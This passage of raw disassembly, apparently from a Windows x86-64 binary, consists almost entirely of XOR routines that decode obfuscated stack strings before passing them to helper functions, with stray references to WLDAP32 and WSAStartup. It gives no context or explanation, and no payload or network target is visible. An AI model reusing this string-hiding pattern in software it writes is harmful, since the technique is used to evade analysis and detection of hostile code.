xor byte [rsp + 0xe8], 0x4c
xor byte [rsp + 0xe9], 0x4d
xor byte [rsp + 0xea], 0x4e
xor byte [rsp + 0xeb], 0x4f
xor byte [rsp + 0xec], 0x50
lea rdx, [rsp + 0xd3]
lea rcx, [rsp + 0x12c8]
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups xmm0, xmmword [str.HZUUZTY]
vmovups xmmword [rsp + 0x55], xmm0
vmovsd xmm0, qword [0x1401bee68]
vmovsd qword [rsp + 0x65], xmm0
lea rdx, [rsp + 0x55]
lea rcx, [rsp + 0x12e8]
cmp byte [0x1401bee6f], 0
je 0x1400f6010
mov byte [rsp + 0x55], 0x69
xor byte [rsp + 0x56], 0x38
xor byte [rsp + 0x57], 0x39
xor byte [rsp + 0x58], 0x3a
xor byte [rsp + 0x59], 0x3b
xor byte [rsp + 0x5a], 0x3c
xor byte [rsp + 0x5b], 0x3d
xor byte [rsp + 0x5c], 0x3e
xor byte [rsp + 0x5d], 0x3f
xor byte [rsp + 0x5e], 0x40
xor byte [rsp + 0x5f], 0x41
xor byte [rsp + 0x60], 0x42
xor byte [rsp + 0x61], 0x43
xor byte [rsp + 0x62], 0x44
xor byte [rsp + 0x63], 0x45
xor byte [rsp + 0x64], 0x46
xor byte [rsp + 0x65], 0x47
xor byte [rsp + 0x66], 0x48
xor byte [rsp + 0x67], 0x49
xor byte [rsp + 0x68], 0x4a
xor byte [rsp + 0x69], 0x4b
xor byte [rsp + 0x6a], 0x4c
xor byte [rsp + 0x6b], 0x4d
xor byte [rsp + 0x6c], 0x4e
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups xmm0, xmmword [0x1401bee70]
vmovups xmmword [rsp + 0xa1], xmm0
vmovsd xmm0, qword [0x1401bee80]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
vmovsd qword [rsp + 0xb1], xmm0
mov byte [rsp + 0xa1], WSAStartup
xor byte [rsp + 0xa2], 0x38
xor byte [rsp + 0xa3], 0x39
xor byte [rsp + 0xa4], 0x3a
xor byte [rsp + 0xa5], 0x3b
xor byte [rsp + 0xa6], 0x3c
xor byte [rsp + 0xa7], 0x3d
xor byte [rsp + 0xa8], 0x3e
xor byte [rsp + 0xa9], 0x3f
xor byte [rsp + 0xaa], 0x40
xor byte [rsp + 0xab], 0x41
xor byte [rsp + 0xac], 0x42
xor byte [rsp + 0xad], 0x43
xor byte [rsp + 0xae], 0x44
xor byte [rsp + 0xaf], 0x45
xor byte [rsp + 0xb0], 0x46
xor byte [rsp + 0xb1], 0x47
xor byte [rsp + 0xb2], 0x48
xor byte [rsp + 0xb3], 0x49
xor byte [rsp + 0xb4], 0x4a
xor byte [rsp + 0xb5], 0x4b
xor byte [rsp + 0xb6], 0x4c
xor byte [rsp + 0xb7], 0x4d
xor byte [rsp + 0xb8], 0x4e
xor al, 0x4f
mov byte [rsp + 0xb9], al
lea rdx, [rsp + 0xa1]
lea rcx, [rsp + 0x1308]
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups xmm0, xmmword [0x1401bee90]
vmovups xmmword [rsp + 0xed], xmm0
vmovsd xmm0, qword [0x1401beea0]
vmovsd qword [rsp + 0xfd], xmm0
movzx eax, word [0x1401beea8]
mov word [rsp + 0x105], ax
cmp byte [0x1401beea9], 0
je 0x1400f623a
mov byte [rsp + 0xed], WSAStartup
xor byte [rsp + 0xee], 0x38
xor byte [rsp + 0xef], 0x39
xor byte [rsp + 0xf0], 0x3a
xor byte [rsp + 0xf1], 0x3b
xor byte [rsp + 0xf2], 0x3c
xor byte [rsp + 0xf3], 0x3d
xor byte [rsp + 0xf4], 0x3e
xor byte [rsp + 0xf5], 0x3f
xor byte [rsp + 0xf6], 0x40
xor byte [rsp + 0xf7], 0x41
xor byte [rsp + 0xf8], 0x42
xor byte [rsp + 0xf9], 0x43
xor byte [rsp + 0xfa], 0x44
xor byte [rsp + 0xfb], 0x45
xor byte [rsp + 0xfc], 0x46
xor byte [rsp + 0xfd], 0x47
xor byte [rsp + 0xfe], 0x48
xor byte [rsp + 0xff], 0x49
xor byte [rsp + 0x100], 0x4a
xor byte [rsp + 0x101], 0x4b
xor byte [rsp + 0x102], 0x4c
xor byte [rsp + 0x103], 0x4d
xor byte [rsp + 0x104], 0x4e
xor byte [rsp + 0x105], 0x4f
xor byte [rsp + 0x106], 0x50
lea rdx, [rsp + 0xed]
lea rcx, [rsp + 0x1328]
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups xmm0, xmmword [0x1401beeb0]
vmovups xmmword [rsp + 0x107], xmm0
vmovsd xmm0, qword [0x1401beec0]
vmovsd qword [rsp + 0x117], xmm0
movzx eax, word [0x1401beec8]
mov word [rsp + 0x11f], ax
lea rdx, [rsp + 0x107]
lea rcx, [rsp + 0x1348]
cmp byte [0x1401beec9], 0
je 0x1400f6375
mov byte [rsp + 0x107], WSAStartup
xor byte [rsp + 0x108], 0x38
xor byte [rsp + 0x109], 0x39
xor byte [rsp + 0x10a], 0x3a
xor byte [rsp + 0x10b], 0x3b
xor byte [rsp + 0x10c], 0x3c
xor byte [rsp + 0x10d], 0x3d
xor byte [rsp + 0x10e], 0x3e
xor byte [rsp + 0x10f], 0x3f
xor byte [rsp + 0x110], 0x40
xor byte [rsp + 0x111], 0x41
xor byte [rsp + 0x112], 0x42
xor byte [rsp + 0x113], 0x43
xor byte [rsp + 0x114], 0x44
xor byte [rsp + 0x115], 0x45
xor byte [rsp + 0x116], 0x46
xor byte [rsp + 0x117], 0x47
xor byte [rsp + 0x118], 0x48
xor byte [rsp + 0x119], 0x49
xor byte [rsp + 0x11a], 0x4a
xor byte [rsp + 0x11b], 0x4b
xor byte [rsp + 0x11c], 0x4c
xor byte [rsp + 0x11d], 0x4d
xor byte [rsp + 0x11e], 0x4e
xor byte [rsp + 0x11f], 0x4f
xor byte [rsp + 0x120], 0x50
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups xmm0, xmmword [str.Y_MIS]
vmovups xmmword [rsp + 0xba], xmm0
vmovsd xmm0, qword [0x1401beee0]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
vmovsd qword [rsp + 0xca], xmm0
mov byte [rsp + 0xba], WSAStartup
xor byte [rsp + 0xbb], 0x38
xor byte [rsp + 0xbc], 0x39
xor byte [rsp + 0xbd], 0x3a
xor byte [rsp + 0xbe], 0x3b
xor byte [rsp + 0xbf], 0x3c
xor byte [rsp + 0xc0], 0x3d
xor byte [rsp + 0xc1], 0x3e
xor byte [rsp + 0xc2], 0x3f
xor byte [rsp + 0xc3], 0x40
xor byte [rsp + 0xc4], 0x41
xor byte [rsp + 0xc5], 0x42
xor byte [rsp + 0xc6], 0x43
xor byte [rsp + 0xc7], 0x44
xor byte [rsp + 0xc8], 0x45
xor byte [rsp + 0xc9], 0x46
xor byte [rsp + 0xca], 0x47
xor byte [rsp + 0xcb], 0x48
xor byte [rsp + 0xcc], 0x49
xor byte [rsp + 0xcd], 0x4a
xor byte [rsp + 0xce], 0x4b
xor byte [rsp + 0xcf], 0x4c
xor byte [rsp + 0xd0], 0x4d
xor byte [rsp + 0xd1], 0x4e
xor al, 0x4f
mov byte [rsp + 0xd2], al
lea rdx, [rsp + 0xba]
lea rcx, [rsp + 0x1368]
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [str.GWN_IOU_S_a407___j____5q__519_yu:01a]
vmovups ymmword [rsp + 0x20ac], ymm0
vmovsd xmm0, qword [0x1401bef10]
vmovsd qword [rsp + 0x20cc], xmm0
mov eax, dword [0x1401bef18]
mov dword [rsp + 0x20d4], eax
movzx eax, byte [0x1401bef1c]
mov byte [rsp + 0x20d8], al
mov r10d, ebx
lea r9, [rsp + 0x20ad]
nop dword [rax]
lea r8d, [r10 - 2]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
lea ecx, [r10 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
mov eax, 0x4d4873ed
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9 + 1], al
lea ecx, [r10 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9 + 2], al
lea ecx, [r10 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3b
xor byte [r9 + 3], al
lea ecx, [r10 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3c
xor byte [r9 + 4], al
lea ecx, [r10 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3d
xor byte [r9 + 5], al
lea ecx, [r10 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3e
xor byte [r9 + 6], al
lea ecx, [r10 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x3f
xor byte [r9 + 7], al
lea ecx, [r10 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x40
xor byte [r9 + 8], al
lea ecx, [r10 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x41
xor byte [r9 + 9], al
lea ecx, [r10 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x42
xor byte [r9 + 0xa], al
lea ecx, [r10 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x43
xor byte [r9 + 0xb], al
lea ecx, [r10 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x44
xor byte [r9 + 0xc], al
lea ecx, [r10 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub r8b, cl
add r8b, 0x45
xor byte [r9 + 0xd], r8b
add r10d, 0xf
lea r9, [r9 + 0xf]
lea eax, [r10 - 2]
cmp eax, 0x2d
jl 0x1400f64e0
lea rdx, [rsp + 0x20ac]
lea rcx, [rsp + 0x1388]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [str.GWN_IOU_S_a]
vmovups ymmword [rsp + 0x2039], ymm0
mov eax, dword [0x1401bef40]
mov dword [rsp + 0x2059], eax
movzx ecx, byte [0x1401bef44]
mov byte [rsp + 0x2039], 0x70
xor byte [rsp + 0x203a], 0x38
xor byte [rsp + 0x203b], 0x39
xor byte [rsp + 0x203c], 0x3a
xor byte [rsp + 0x203d], 0x3b
xor byte [rsp + 0x203e], 0x3c
xor byte [rsp + 0x203f], 0x3d
xor byte [rsp + 0x2040], 0x3e
xor byte [rsp + 0x2041], 0x3f
xor byte [rsp + 0x2042], 0x40
xor byte [rsp + 0x2043], 0x41
xor byte [rsp + 0x2044], 0x42
xor byte [rsp + 0x2045], 0x43
xor byte [rsp + 0x2046], 0x44
xor byte [rsp + 0x2047], 0x45
xor byte [rsp + 0x2048], 0x46
xor byte [rsp + 0x2049], 0x47
xor byte [rsp + 0x204a], 0x48
xor byte [rsp + 0x204b], 0x49
xor byte [rsp + 0x204c], 0x4a
xor byte [rsp + 0x204d], 0x4b
xor byte [rsp + 0x204e], 0x4c
xor byte [rsp + 0x204f], 0x4d
xor byte [rsp + 0x2050], 0x4e
xor byte [rsp + 0x2051], 0x4f
xor byte [rsp + 0x2052], 0x50
xor byte [rsp + 0x2053], 0x51
xor byte [rsp + 0x2054], 0x52
xor byte [rsp + 0x2055], 0x53
xor byte [rsp + 0x2056], 0x54
xor byte [rsp + 0x2057], 0x55
xor byte [rsp + 0x2058], 0x56
xor al, 0x57
mov byte [rsp + 0x2059], al
xor byte [rsp + 0x205a], 0x58
xor byte [rsp + 0x205b], 0x59
xor byte [rsp + 0x205c], 0x5a
xor cl, 0x5b
mov byte [rsp + 0x205d], cl
lea rdx, [rsp + 0x2039]
lea rcx, [rsp + 0x13a8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bef48]
vmovups ymmword [rsp + 0x1fa9], ymm0
mov eax, dword [0x1401bef68]
mov dword [rsp + 0x1fc9], eax
mov byte [rsp + 0x1fa9], 0x66
xor byte [rsp + 0x1faa], 0x38
xor byte [rsp + 0x1fab], 0x39
xor byte [rsp + 0x1fac], 0x3a
xor byte [rsp + 0x1fad], 0x3b
xor byte [rsp + 0x1fae], 0x3c
xor byte [rsp + 0x1faf], 0x3d
xor byte [rsp + 0x1fb0], 0x3e
xor byte [rsp + 0x1fb1], 0x3f
xor byte [rsp + 0x1fb2], 0x40
xor byte [rsp + 0x1fb3], 0x41
xor byte [rsp + 0x1fb4], 0x42
xor byte [rsp + 0x1fb5], 0x43
xor byte [rsp + 0x1fb6], 0x44
xor byte [rsp + 0x1fb7], 0x45
xor byte [rsp + 0x1fb8], 0x46
xor byte [rsp + 0x1fb9], 0x47
xor byte [rsp + 0x1fba], 0x48
xor byte [rsp + 0x1fbb], 0x49
xor byte [rsp + 0x1fbc], 0x4a
xor byte [rsp + 0x1fbd], 0x4b
xor byte [rsp + 0x1fbe], 0x4c
xor byte [rsp + 0x1fbf], 0x4d
xor byte [rsp + 0x1fc0], 0x4e
xor byte [rsp + 0x1fc1], 0x4f
xor byte [rsp + 0x1fc2], 0x50
xor byte [rsp + 0x1fc3], 0x51
xor byte [rsp + 0x1fc4], 0x52
xor byte [rsp + 0x1fc5], 0x53
xor byte [rsp + 0x1fc6], 0x54
xor byte [rsp + 0x1fc7], 0x55
xor byte [rsp + 0x1fc8], 0x56
xor al, 0x57
mov byte [rsp + 0x1fc9], al
xor byte [rsp + 0x1fca], 0x58
xor byte [rsp + 0x1fcb], 0x59
xor byte [rsp + 0x1fcc], 0x5a
lea rdx, [rsp + 0x1fa9]
lea rcx, [rsp + 0x13c8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bef70]
vmovups ymmword [rsp + 0x1fcd], ymm0
mov eax, dword [0x1401bef90]
mov dword [rsp + 0x1fed], eax
mov byte [rsp + 0x1fcd], 0x66
xor byte [rsp + 0x1fce], 0x38
xor byte [rsp + 0x1fcf], 0x39
xor byte [rsp + 0x1fd0], 0x3a
xor byte [rsp + 0x1fd1], 0x3b
xor byte [rsp + 0x1fd2], 0x3c
xor byte [rsp + 0x1fd3], 0x3d
xor byte [rsp + 0x1fd4], 0x3e
xor byte [rsp + 0x1fd5], 0x3f
xor byte [rsp + 0x1fd6], 0x40
xor byte [rsp + 0x1fd7], 0x41
xor byte [rsp + 0x1fd8], 0x42
xor byte [rsp + 0x1fd9], 0x43
xor byte [rsp + 0x1fda], 0x44
xor byte [rsp + 0x1fdb], 0x45
xor byte [rsp + 0x1fdc], 0x46
xor byte [rsp + 0x1fdd], 0x47
xor byte [rsp + 0x1fde], 0x48
xor byte [rsp + 0x1fdf], 0x49
xor byte [rsp + 0x1fe0], 0x4a
xor byte [rsp + 0x1fe1], 0x4b
xor byte [rsp + 0x1fe2], 0x4c
xor byte [rsp + 0x1fe3], 0x4d
xor byte [rsp + 0x1fe4], 0x4e
xor byte [rsp + 0x1fe5], 0x4f
xor byte [rsp + 0x1fe6], 0x50
xor byte [rsp + 0x1fe7], 0x51
xor byte [rsp + 0x1fe8], 0x52
xor byte [rsp + 0x1fe9], 0x53
xor byte [rsp + 0x1fea], 0x54
xor byte [rsp + 0x1feb], 0x55
xor byte [rsp + 0x1fec], 0x56
xor al, 0x57
mov byte [rsp + 0x1fed], al
xor byte [rsp + 0x1fee], 0x58
xor byte [rsp + 0x1fef], 0x59
xor byte [rsp + 0x1ff0], 0x5a
lea rdx, [rsp + 0x1fcd]
lea rcx, [rsp + 0x13e8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bef98]
vmovups ymmword [rsp + 0x1ff1], ymm0
mov eax, dword [0x1401befb8]
mov dword [rsp + 0x2011], eax
mov byte [rsp + 0x1ff1], 0x66
xor byte [rsp + 0x1ff2], 0x38
xor byte [rsp + 0x1ff3], 0x39
xor byte [rsp + 0x1ff4], 0x3a
xor byte [rsp + 0x1ff5], 0x3b
xor byte [rsp + 0x1ff6], 0x3c
xor byte [rsp + 0x1ff7], 0x3d
xor byte [rsp + 0x1ff8], 0x3e
xor byte [rsp + 0x1ff9], 0x3f
xor byte [rsp + 0x1ffa], 0x40
xor byte [rsp + 0x1ffb], 0x41
xor byte [rsp + 0x1ffc], 0x42
xor byte [rsp + 0x1ffd], 0x43
xor byte [rsp + 0x1ffe], 0x44
xor byte [rsp + 0x1fff], 0x45
xor byte [rsp + 0x2000], 0x46
xor byte [rsp + 0x2001], 0x47
xor byte [rsp + 0x2002], 0x48
xor byte [rsp + 0x2003], 0x49
xor byte [rsp + 0x2004], 0x4a
xor byte [rsp + 0x2005], 0x4b
xor byte [rsp + 0x2006], 0x4c
xor byte [rsp + 0x2007], 0x4d
xor byte [rsp + 0x2008], 0x4e
xor byte [rsp + 0x2009], 0x4f
xor byte [rsp + 0x200a], 0x50
xor byte [rsp + 0x200b], 0x51
xor byte [rsp + 0x200c], 0x52
xor byte [rsp + 0x200d], 0x53
xor byte [rsp + 0x200e], 0x54
xor byte [rsp + 0x200f], 0x55
xor byte [rsp + 0x2010], 0x56
xor al, 0x57
mov byte [rsp + 0x2011], al
xor byte [rsp + 0x2012], 0x58
xor byte [rsp + 0x2013], 0x59
xor byte [rsp + 0x2014], 0x5a
lea rdx, [rsp + 0x1ff1]
lea rcx, [rsp + 0x1408]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [str.QKLNRP]
vmovups ymmword [rsp + 0x2015], ymm0
mov eax, dword [0x1401befe0]
mov dword [rsp + 0x2035], eax
mov byte [rsp + 0x2015], 0x66
xor byte [rsp + 0x2016], 0x38
xor byte [rsp + 0x2017], 0x39
xor byte [rsp + 0x2018], 0x3a
xor byte [rsp + 0x2019], 0x3b
xor byte [rsp + 0x201a], 0x3c
xor byte [rsp + 0x201b], 0x3d
xor byte [rsp + 0x201c], 0x3e
xor byte [rsp + 0x201d], 0x3f
xor byte [rsp + 0x201e], 0x40
xor byte [rsp + 0x201f], 0x41
xor byte [rsp + 0x2020], 0x42
xor byte [rsp + 0x2021], 0x43
xor byte [rsp + 0x2022], 0x44
xor byte [rsp + 0x2023], 0x45
xor byte [rsp + 0x2024], 0x46
xor byte [rsp + 0x2025], 0x47
xor byte [rsp + 0x2026], 0x48
xor byte [rsp + 0x2027], 0x49
xor byte [rsp + 0x2028], 0x4a
xor byte [rsp + 0x2029], 0x4b
xor byte [rsp + 0x202a], 0x4c
xor byte [rsp + 0x202b], 0x4d
xor byte [rsp + 0x202c], 0x4e
xor byte [rsp + 0x202d], 0x4f
xor byte [rsp + 0x202e], 0x50
xor byte [rsp + 0x202f], 0x51
xor byte [rsp + 0x2030], 0x52
xor byte [rsp + 0x2031], 0x53
xor byte [rsp + 0x2032], 0x54
xor byte [rsp + 0x2033], 0x55
xor byte [rsp + 0x2034], 0x56
xor al, 0x57
mov byte [rsp + 0x2035], al
xor byte [rsp + 0x2036], 0x58
xor byte [rsp + 0x2037], 0x59
xor byte [rsp + 0x2038], 0x5a
lea rdx, [rsp + 0x2015]
lea rcx, [rsp + 0x1428]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401befe8]
vmovups ymmword [rsp + 0x2c40], ymm0
vmovups xmm1, xmmword [0x1401bf008]
vmovups xmmword [rsp + 0x2c60], xmm1
vmovsd xmm0, qword [0x1401bf018]
vmovsd qword [rsp + 0x2c70], xmm0
mov eax, dword [0x1401bf020]
mov dword [rsp + 0x2c78], eax
movzx eax, word [0x1401bf024]
mov word [rsp + 0x2c7c], ax
xor r10d, r10d
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2c40], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2c41], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2c42], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2c43], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2c44], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2c45], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2c46], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2c47], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2c48], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2c49], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2c4a], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2c4b], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x2c4c], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x2c4d], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x2c4e], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x2c4f], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2c50], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2c51], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2c52], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2c53], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2c54], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2c55], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x2c56], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x2c57], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x2c58], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x2c59], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x2c5a], al
lea ecx, [r8 + 0x19]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x2c5b], al
lea ecx, [r8 + 0x1a]
mov eax, 0x4d4873ed
